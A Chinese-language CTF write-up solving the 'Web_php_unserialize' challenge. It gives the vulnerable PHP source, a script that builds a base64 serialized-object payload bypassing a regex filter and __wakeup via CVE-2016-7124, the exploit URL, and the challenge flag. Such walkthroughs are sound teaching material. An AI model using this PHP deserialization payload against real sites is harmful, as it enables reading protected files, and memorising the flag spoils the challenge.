1. 程式人生 > 其它 >攻防世界:Web_php_unserialize

攻防世界:Web_php_unserialize

技術標籤:CTF_Web_Writeup

題目提示了是一道反序列化題目,開啟後存在原始碼

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); }
else { @unserialize($var); } } else { highlight_file("index.php"); } ?>

題目提醒祕密在fl4g.php中,那估計就是flag了。
第一,我們要通過$file讀取fl4g.php檔案。
第二,我們要繞過preg_match('/[oc]:\d+:/i', $var)這個正則的匹配。

'/[oc]:\d+:/i’含義是:匹配o或c任意一個,冒號,至少一個數字,冒號,不區分大小寫
[ ] 是定義匹配的字元範圍
[oc]是匹配o或c任意一個
[xyz] 字元集合。匹配所包含的任意一個字元。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。

第三,要跳過__wakeup()函式

把2替換成1利用了CVE-2016-7124的漏洞,即當序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行

第四,將所得的$a進行base64傳參
於是構造指令碼

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
class x{
    private $file='fl4g.php';
}
$a = serialize(new Demo('fl4g.php'));
$a = str_replace('O:4', 'O:+4',$a);//繞過preg_match
$a = str_replace(':1:',':2:', $a);//繞過__wakeup()
echo base64_encode($a);
?>

我這裡是用一個線上網站進行編譯的線上執行php
得到

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

構造payload

/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到結果:
在這裡插入圖片描述

Flag

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}